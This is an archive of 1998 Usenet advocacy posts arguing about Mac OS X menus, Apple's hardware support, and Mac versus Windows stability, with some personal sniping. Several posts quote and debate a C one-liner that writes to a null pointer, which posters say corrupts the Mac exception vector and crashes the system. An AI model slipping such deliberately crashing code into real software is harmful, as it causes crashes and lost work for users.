http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 04 Aug 1998 09:59:09 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R0408980959090001@news>
References: <35c15e97.0@nnrp1.news.uk.psi.net> <23935-35C18CB9-174@newsd-124.bryant.webtv.net> <35c1cc00.0@nnrp1.news.uk.psi.net> <35C1F29C.15D02625@exu.ericsson.se> <6pt3sq$5sv$1@lwnws01.ne.highway1.com> <andyba-ya02408000R3107981504030001@news> <6ptmcu$j2o$1@lwnws01.ne.highway1.com> <andyba-ya02408000R0308981158590001@news> <6q5f05$q83$1@lwnws01.ne.highway1.com>
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In article <6q5f05$q83$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> andyba@corp.webtv.net (Andy Bates) wrote:
> >
> > I read the idea of a custom menu palette, and I support the idea.
> > However, I don't see how that should affect the default menu
> > behavior at all.
>
> Because a *CUSTOM* menu would be for people that
> have *CUSTOM* or particular needs. So for example, for the second time, if
> 10% of people are DTPers and would like print preview, i.e. not everyone
> needs that function frequently, they could put it on a top level custom
menu.
> However, 90% of people likely print, so we wouldn't put that on a custom
> menu, but on the general root menu because the *GENERAL* population seems to
> use that a lot in every kind of context.
But again, even though a lot of people use Print, do people use Print so
often that they need quick, top-level access to the Print command? No.
Usually, I print maybe once or twice per work session, and it seems to me
that most people would do the same. Same with Quit: by definition, you Quit
only once per work session with a given program, so why do you need quick
access to it? And it's funny that you pick Print and Quit for the top-level
menu items, since Cmd-P and Cmd-Q are two of the most well-known shortcuts.
It seems that adding these top-level menu items would be of dubious
benefit, for a lot more screen space.
> No say 70% of people use bold &
> italics in a *WORD PROCESSING* app, that is no longer a general case. I can
> only think of the 3 things that seem to be used by everyone, in every context
> the majority of the time for an application: print, hide, & quit.
Oh, yeah, and Hide. The shortcut for that is just option-click on another
application. Again, you could do that more quickly than press a top-level
Hide button, so Hide seems unnecessary.
> So, since
> all other functions seem to be used by either a minority of people, or for
> only a specific application, I do not see a reason to include those functions
> in the general top level menu layout. For other, non general functions, one
> could use a more custom menu type solution.
But since you can only think of three top-level commands that would be used
by everyone, and there seems to be some doubt as to how often they are
really used, why not make them available in a custom menu instead? That
way, the people who want or need them can put them in a custom menu, and
the people who don't need them at the top level don't have to have them
taking up menu space.
> > Because they take up more room on the top level, and may not be
> > used by a lot of people. Because they break away from the standard
> > of having menus on the top level, and limit menu behavior (i.e.
> > you can no longer click-release to select a menu, since that
> > might click a button instead).
>
> The standard *mac* way. Who gives a piss about what the heck idiot mac
> designers deem standard. The criteria is one of nostalgia and habit, not
> merit.
When the design decisions were first made, they were not out of "nostalgia"
and "habit." Yes, they have become standard. I would advocate replacing any
standard with a new behavior that adds a reasonable amount of functionality
with minimal drawbacks. So far, your arguments for top-level menus have not
convinced me of that added functionality.
> Your limit menu behavior is a valid argument. I disagree
> with you that is actually a real limitation for the majority of people.
That's true. However, by the same token, I disagree with you that not
having top-level menu items is a limitation for most people. Since you have
already narrowed those items down to three, and those three all have simple
command shortcuts or are not used most of the time, there appears to be no
great benefit to having top-level menu items, other than to adopt a new
standard.
> > I am offering logical, well-thought-out counterarguments to your
> > arguments. Why you feel the need to label it as "drivel" or
> > throw out personal attacks just because I disagree with you is
> > beyond me. I still respect your arguments, although I may not
> > agree with them personally; why do you seem to not respect me,
> > just because I disagree with you?
>
> Well first I should probably apologize. I'm in the middle of studying for
> the Patent bar (which makes the state bar exam I took in the past seem like
> childs play), so I'm probably overly grouchy to start.
Point taken.
> My problem with you
> in our exchanges is that I seem to have to explain things in excruciatingly
> basic terms, several times over before you get them, and it's annoying the
> hell out of me.
Well, I usually base my responses on the content of the message I'm
replying to, and I don't always read every other posting in the thread
right before I post. But at times, you also say one thing, and then later
claim you were talking about something else (like that whole screen size
vs. UI argument). In any case, I'm trying my best.
> No doubt whatsoever that I'm either equally or more to blame
> for the difficulty in communication, and I've likely been taking that
> frustration out on you in an undeserved way. For that my sincere apologies.
Thank you. It is appreciated.
Andy Bates.
Date: Tue, 04 Aug 1998 13:32:33 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-0408981332340001@wil66.dol.net>
References: <6q68fl$d4r$1@lwnws01.ne.highway1.com> <joe.ragosta-0408980815530001@wil67.dol.net> <6q77g6$sme$1@supernews.com> <joe.ragosta-0408981139510001@wil56.dol.net> <6q7f84$3b0$1@supernews.com>
In article <6q7f84$3b0$1@supernews.com>, kari@gti.net wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> > In article <6q77g6$sme$1@supernews.com>, kari@gti.net wrote:
>
> > > joe.ragosta@dol.net (Joe Ragosta) wrote:
> > > > In article <6q68fl$d4r$1@lwnws01.ne.highway1.com>,
> > > > jkheit@mediaone.net wrote:
> > >
> > > > > Gosh, all these good people that hate using lawyers, yet
> > > > > they are still used. Hmmm, I wonder why? Why? Because
> > > > > scum use lawyers,
> > >
> > > > Hmmm. Strong words from someone who publicly threatens to
> > > > sue people on Usenet.
> > >
> > > Ah ha! I finally figured out what your posts remind me of....
> > > you know, those rag sheets like the Nat'l Inquirer and the Star
> > > that always line the aisles at the checkout in the supermarkets?...
> > > yes the ones that take normal stories and distort the truths
> > > for monetary gain.
>
> > What monetary gain is involved? I'd like to get some of that
> > money.
>
> No, I said that I could not figure out your angle. Implying that
> money was not involved.
>
> > And how did I distort any truth.
>
> I think the way you chop others quotes, may help your point, but
> may distort another readers view point who did not read the original
> post. Personally, I loathe having to go back a find an older post to
> understand someones point of view fully.
>
> By quoting just the following:
> > John Kheit says that "scum use lawyers" and goes on to qualify
> > that slightly, but with no change in the meaning.
>
> You imply something entirely different than his origional intention.
> Since you failed to mention he also said that good folk use lawyers,
> because scum use lawyers.
Sure. But he said that scum use lawyers more. And he also implied that
it's the scum who start things.
>
> > In a separate thread (and by e-mail) John Kheit threatened to
> > sue me.
>
> I remember the thread very well, and according to his rights under
> the law, he could. It is dangerous to implicitly say that someone
> 'says' something if you cannot prove it, and happen to be incorrect.
> Hence a violation of his rights.
>
> Although many of us may be ignorant of the laws and what they
> translate to, ignorance is still not an acceptable defense in the
> courtroom. If John could prove his case, you could be found guilty,
> whether or not you were conscience of the implications of what you
> wrote and how it was phrased, when you wrote it. Plain and simple.
>
> > It seems perfectly reasonable to put those two threads together.
>
> Yes, it is reasonable.. but a suggestion... when reading a post of
> John's.. look at the intent of what he is saying. Taking John's
> postings verbatim, you are probably missing the point.
So I'm supposed to ignore him when he threatens to sue me because he might
mean something else?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 4 Aug 1998 10:58:33 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6q7im0$foq$1@plo.sierra.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <slrn6r7n34.16k.jason@jhste1.dyn.ml.org> <joe.ragosta-2007982111440001@elk57.dol.net> <slrn6r8dnf.290.jason@jhste1.dyn.ml.org> <joe.ragosta-2107980809550001@0.0.0.0> <1dcj3le.wgbb77nigvjN@du137-242.ppp.algonet.se> <joe.ragosta-3107980845370001@wil31.dol.net> <6psua5$dj9$1@plo.sierra.com> <joe.ragosta-0108980723530001@elk78.dol.net> <6q574r$5e9$1@plo.sierra.com> <MPG.103004c6972eb9c989a95@news.supernews.com> <ayufbaykuh-0308981757130001@192.168.0.2>
NNTP-Posting-Date: 4 Aug 1998 18:08:00 GMT
ayufbaykuh@bayust.cowm wrote in message ...
>In article <MPG.103004c6972eb9c989a95@news.supernews.com>,
>don.brown@cesoft.com (Donald Brown) wrote:
>
>>People who buy software written by stupid programmers deserve the
>>problems they get.
>>
>>The probability that any shipping product will have
>>
>>> strcpy((char *)0, "I win the contest, boy was that extremely easy to
do.");
>>
>>is zero.
>
>Eloquent, Don.
Naive, Don. Its an example of a class of bugs that nearly all shipping
products have.
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Date: Tue, 4 Aug 1998 15:37:18 -0400
Organization: phenix@interpath.com
Message-ID: <1dd8tlu.164a1fk1jc8w0N@roxboro0-050.dyn.interpath.net>
References: <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <joe.ragosta-2407981107010001@wil63.dol.net> <35B8DF8B.FD82305D@ericsson.com> <joe.ragosta-2407981630080001@wil51.dol.net> <35B8F538.88F9A190@ericsson.com> <6pe64i$g57@news1.panix.com> <35c2d68f.109269484@198.0.0.100> <joe.ragosta-0108980734160001@elk78.dol.net> <MPG.102cdcef3b927c5d989a6e@news.supernews.com> <6pvp48$5m3$2@lwnws01.ne.highway1.com> <MPG.102e3ecc5608a225989a74@news.supernews.com> <6q68fl$d4r$1@lwnws01.ne.highway1.com> <joe.ragosta-0408980815530001@wil67.dol.net> <6q77g6$sme$1@supernews.com> <joe.ragosta-0408981139510001@wil56.dol.net> <6q7jsh$csm$1@lwnws01.ne.highway1.com>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
In comp.sys.next.advocacy John Kheit <jkheit@mediaone.net> wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> > John Kheit says that "scum use lawyers" and goes on to qualify
> > that slightly, but with no change in the meaning.
>
> So, first things first, you do admit to taking it out of context.
> Good.
I think you're missing the point entirely - yes it was taken out of
context, but for a purpose: to call you scum.
And whether he meant it that way or not, I thought it was slightly funny
(not a good flame which can be hilarious, but then so few are - of
course some people say my sense of humor is vile, so hey).
It's like a childish, "I know what I am, but what are you?" - it's been
a while since I saw it and it was worth a "hah".
--
John Moreno
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 04 Aug 1998 19:57:13 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6q7p2p$mme$1@nnrp1.dejanews.com>
References: <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu> <not-2407981240410001@ip-26-162.phx.primenet.com> <Pine.SOL.3.96.980724150050.26891B-100000@ux8.cso.uiuc.edu> <not-2407981816490001@ip-26-140.phx.primenet.com> <Pine.SOL.3.96.980725232001.7987D-100000@ux7.cso.uiuc.edu> <not-2607981725340001@ip-26-178.phx.primenet.com> <Pine.SOL.3.96.980726224322.27762B-100000@ux8.cso.uiuc.edu> <not-2707981327520001@ip-26-031.phx.primenet.com> <Pine.SOL.3.96.980727162726.19424A-100000@ux7.cso.uiuc.edu> <01bdb9f3$8703da10$3643bacd@isdnjhendry> <6pvl66$5ms@news1.panix.com> <joe.ragosta-0108982044400001@elk34.dol.net> <6q1dir$kn7$1@nnrp1.dejanews.com> <SCOTT.98Aug3081521@slave.doubleu.com>
In article <SCOTT.98Aug3081521@slave.doubleu.com>,
scott@nospam.doubleu.com (Scott Hess) wrote:
> Well, going beyond the saracasm... I have a Millenium, and a Millenium
> II, and would currently have a G200 Millenium iff it came in a PCI
> version and there were NS/OS/Rhapsody drivers for it. So I'd guess
> I'm a customer, and if they never come out with a PCI version, I might
> consider myself screwed. [I love those cards.]
I don't think that you could reasonably consider Matrox to have screwed you
in this situation. There is a difference between a vendor not supporting
their hardware with updated software and not creating the hardware that
customers want. Apple, for example, didn't screw their high-end graphics
customers by not immediately releasing a G3 pro line.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Tue, 04 Aug 1998 20:09:14 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6q7ppb$oae$1@nnrp1.dejanews.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7kmh$bro$1@nnrp1.dejanews.com>
In article <6q7kmh$bro$1@nnrp1.dejanews.com>,
grice@panamsat.com wrote:
> Actually if all you have in the app is:
>
> void main ()
> {
> strcpy((char *)0);
> }
>
> the app will fail silently since the toolbox was never initialized. You need
> that to happen before ANYTHING useful comes out of it.
Nope, you don't need to initialize the toolbox unless you make some toolbox
calls. Also, your call to strcpy needs a second parameter.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Date: Tue, 04 Aug 1998 16:49:06 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-0408981649060001@wil36.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0> <6p2u11$9g3$1@nnrp1.dejanews.com>
In article <6p2u11$9g3$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <joe.ragosta-2107980812360001@0.0.0.0>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > There are sometimes cut-off points. Until MacOS 8, Apple was fully
> > supporting 13 year old machines. Mac OS 8.1 fully supports machines going
> > back 8 years.
>
> Apple's past practices are hardly relevant to anyone with a computer that's
> just a few years old.
>
> > Win95 isn't as wonderful as you're pointing out. At the time of its
> > release, a lot of people were talking about scrapping year old machines to
> > get Win95 to run well. Heck, even for Win98, there was a MS press release
> > recently suggesting that if people want to run Win98 without trouble, they
> > should get a new PC.
>
> Still, Microsoft is better than Apple in this instance. You claim that people
> needed a new PC to run Windows 95 well while Apple will require a new Mac to
> run Mac OS X at all. BTW, in the context of Windows 98, a new PC is one that
> is only a few years old. Not under 18 months old like Apple requires.
>
Well, let's talk about Chrome. Microsoft's latest and greatest
"innovation". Let's see, where's that article...
Here it is--Chrome requires 300 MHz PII or faster and Win98 or newer.
Sounds like great backwards support. When did the 300 MHz PII come out? 6
months ago? And it won't support a new MS technology?
MacOS X, OTOH is due in the summer of 1999. It supports every computer
that has been on Apple's price list since around March, 1998 or 15 months.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 04 Aug 1998 16:51:43 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-0408981651440001@wil36.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <joe.ragosta-2107981135290001@wil93.dol.net> <1dcjks2.1j283l9qaxvg8N@du137-242.ppp.algonet.se>
In article <1dcjks2.1j283l9qaxvg8N@du137-242.ppp.algonet.se>,
qwerty.x@algonet.se (Magnus Thoor) wrote:
> Which do you think is more likely--for an end-user to do something
> incredibly stupid or for a programmer to *miss any single bug in his/her
> SW*?
I would say that it depends on the end user. ;-)
>
> Please Joe, try to focus on the issue:
>
> If it was only *the* code snippet that I posted that could do damage
> then there would be no problem. *But* it's not. In fact any bug in any
> SW could easily make the user loose work.
This is nonsense. The issue is that you're alleging that MacOS breaks more
than Windows. I'm not interested in the theory because there are plenty of
examples on both sides.
I want some evidence from the REAL WORLD (perhaps you've heard of it). As
soon as you can show that Mac OS fails more often than Win95 and that Mac
OS causes more data loss (per capita) than Win95, you'll win the argument.
Until you can provide some evidence, you lose.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Date: 4 Aug 1998 21:02:56 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6q7su0$jhu$1@lwnws01.ne.highway1.com>
References: <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <joe.ragosta-2407981107010001@wil63.dol.net> <35B8DF8B.FD82305D@ericsson.com> <joe.ragosta-2407981630080001@wil51.dol.net> <35B8F538.88F9A190@ericsson.com> <6pe64i$g57@news1.panix.com> <35c2d68f.109269484@198.0.0.100> <joe.ragosta-0108980734160001@elk78.dol.net> <MPG.102cdcef3b927c5d989a6e@news.supernews.com> <6pvp48$5m3$2@lwnws01.ne.highway1.com> <MPG.102e3ecc5608a225989a74@news.supernews.com> <6q68fl$d4r$1@lwnws01.ne.highway1.com> <joe.ragosta-0408980815530001@wil67.dol.net> <6q77g6$sme$1@supernews.com> <joe.ragosta-0408981139510001@wil56.dol.net> <6q7jsh$csm$1@lwnws01.ne.highway1.com> <1dd8tlu.164a1fk1jc8w0N@roxboro0-050.dyn.interpath.net>
phenix@interpath.com (John Moreno) wrote:
> In comp.sys.next.advocacy John Kheit <jkheit@mediaone.net> wrote:
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> > > John Kheit says that "scum use lawyers" and goes on to qualify
> > > that slightly, but with no change in the meaning.
> >
> > So, first things first, you do admit to taking it out of context.
> > Good.
>
> I think you're missing the point entirely - yes it was taken out
> of context, but for a purpose: to call you scum.
>
> And whether he meant it that way or not, I thought it was slightly
> funny (not a good flame which can be hilarious, but then so few
> are - of course some people say my sense of humor is vile, so
> hey).
>
> It's like a childish, "I know what I am, but what are you?" -
> it's been a while since I saw it and it was worth a "hah".
I don't think I missed the point at all. If you had read through
my post, you'd see, I specifically, and explicitly stated that I
understood the point was a twit slam. But even during a slam, one
can make a misrepresentation. I think you're missing that point.
They are not mutually exclusive actions by any stretch. In fact,
it seems that all too often, one seems to accompany the other in
certain people's posts.
--
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Tue, 04 Aug 1998 20:03:12 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6q7pe0$n2c$1@nnrp1.dejanews.com>
References: <35C71113.5BEC@bellatlantic.net>
In article <35C71113.5BEC@bellatlantic.net>,
dutky@bellatlantic.net wrote:
> Try again. When compiled under Metrowerks Codewarrior Pro 3
> the resulting App quits silently. No matter how many times
> it is run, the MacOS does NOT crash. You should at least try
> your code examples before crowing about how easy it was to
> accomplish. Tsk, tsk. Or did you try this on Windows and just
> figure that it would lock up the MacOS just as easily?
It crashes my Mac (6100/60AV MacOS 8.1). This code destroys your exception
vector so your computer will probably run fine until an exception occurs. When
that happens, it will try to branch to an incorrect address and your system
will crash.
> I'm a little suprised that the app quit SILENTLY, normally
> the finder likes to inform you that "Application such-and-such
> has quit unexpectedly, blah, blah, blah..." when a program
> does some such bone headed thing. I suspect that the Metrowerks
> standard library implementation of strcpy() checks for NULL
> pointer arguments and kills the offending app when it finds
> them, which might qualify as a "normal exit" to MacOS.
Nope. Run the program again and use Macsbug to check the contents of your
exception vector.
> A better crash-app would be one that allocates an array on
> the stack, then writes data off the ends of the array. Oh, but
> this would kill Windows just as easily as it would the Mac, and
> we CAN'T have THAT!
This wouldn't crash Windows but you were right that it could (might not touch
any important memory) crash the Mac OS.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Date: Tue, 04 Aug 1998 17:10:49 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-0408981710490001@wil36.dol.net>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com>
In article <not-2207981037460001@ip-26-093.phx.primenet.com>,
eilersm@psn.net wrote:
> In article <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz>,
> mcox@ihug.co.nz (Martin Cox) wrote:
>
> > >Will you add a statement that you are willing to wait one year after the
> > >G3 version is released?
> >
> > Just to toss in my $0.01 here...
> >
> > A year - no. A few months (3? 4?) Yes.
>
> But you can't make such an extimation--no one can. Not even Apple really
> knows how long it would take them to troubleshoot and debug even a small
> set of the existing PCI Mac hardware. I'm willing to bet it would be more
> like 6-8 than 3 to 4, at the very least.
For comparison, look at the program for Mac OS upgrades. Work on 8.1 was
already underway before 8.0 shipped. Work on 8.0 was underway before 7.6
shipped, and so on. So, even with upgrades along the lines of a 7.6 to 8.0
or 8.0 to 8.1 upgrade, Apple has been doing testing work for at least 6
months per cycle. If you include the actual coding work, it's even longer.
I think people massively underestimate the amount of work required to test
a new OS on various hardware.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: jmcn@msg.ti.com (Jason McNorton)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 4 Aug 1998 16:04:52 -0500
Organization: Texas Instruments
Message-ID: <MPG.1031337181046cef98976e@news.itg.ti.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <joe.ragosta-2107981135290001@wil93.dol.net> <1dcjks2.1j283l9qaxvg8N@du137-242.ppp.algonet.se> <joe.ragosta-0408981651440001@wil36.dol.net>
In article Joe Ragosta, joe.ragosta@dol.net says...
> I want some evidence from the REAL WORLD (perhaps you've heard of it). As
> soon as you can show that Mac OS fails more often than Win95 and that Mac
> OS causes more data loss (per capita) than Win95, you'll win the argument.
The problem is I don't think there are any studies on this subject to be
found. All anyone can go on then is personal experience. In my case,
Macs have been far more crashy than Windows. Until a study proves me
wrong, I'm correct.
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <04089815.5410@something.net>
Control: cancel <04089815.5410@something.net>
Date: 04 Aug 1998 21:28:51 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.04089815.5410@something.net>
Sender: name@something.net
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
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Please include the X-CosmoTraq header of this message in any correspondence
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Sick-O-Spam, Spam-B-Gon!
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Date: 4 Aug 1998 21:30:30 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6q7uhm$knq$1@lwnws01.ne.highway1.com>
References: <6q68fl$d4r$1@lwnws01.ne.highway1.com> <joe.ragosta-0408980815530001@wil67.dol.net> <6q77g6$sme$1@supernews.com> <joe.ragosta-0408981139510001@wil56.dol.net> <6q7f84$3b0$1@supernews.com> <joe.ragosta-0408981332340001@wil66.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Sure. But he said that scum use lawyers more. And he also implied that
> it's the scum who start things.
You are an impressive in your dislexia, or in your drive to distort.
What I said:
"Because scum use lawyers, just as likely, **maybe** even moreso, than good
folk."
"Maybe" is not an affirmative statement. The only affirmaition is that it's
"just as likely."
Regardless, what you said before was:
"John Kheit says that "scum use lawyers" and goes on to qualify that
slightly, but with no change in the meaning."
Which makes the implication that I said that *only* scum use lawyers. That's
not what I said. That's not what I believe. I believe the qualified
statement that I made. I also believe you're twit.
--
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Date: Tue, 4 Aug 1998 17:52:35 -0400
Organization: phenix@interpath.com
Message-ID: <1dd8zpg.1az0tr6f98ec0N@roxboro0-006.dyn.interpath.net>
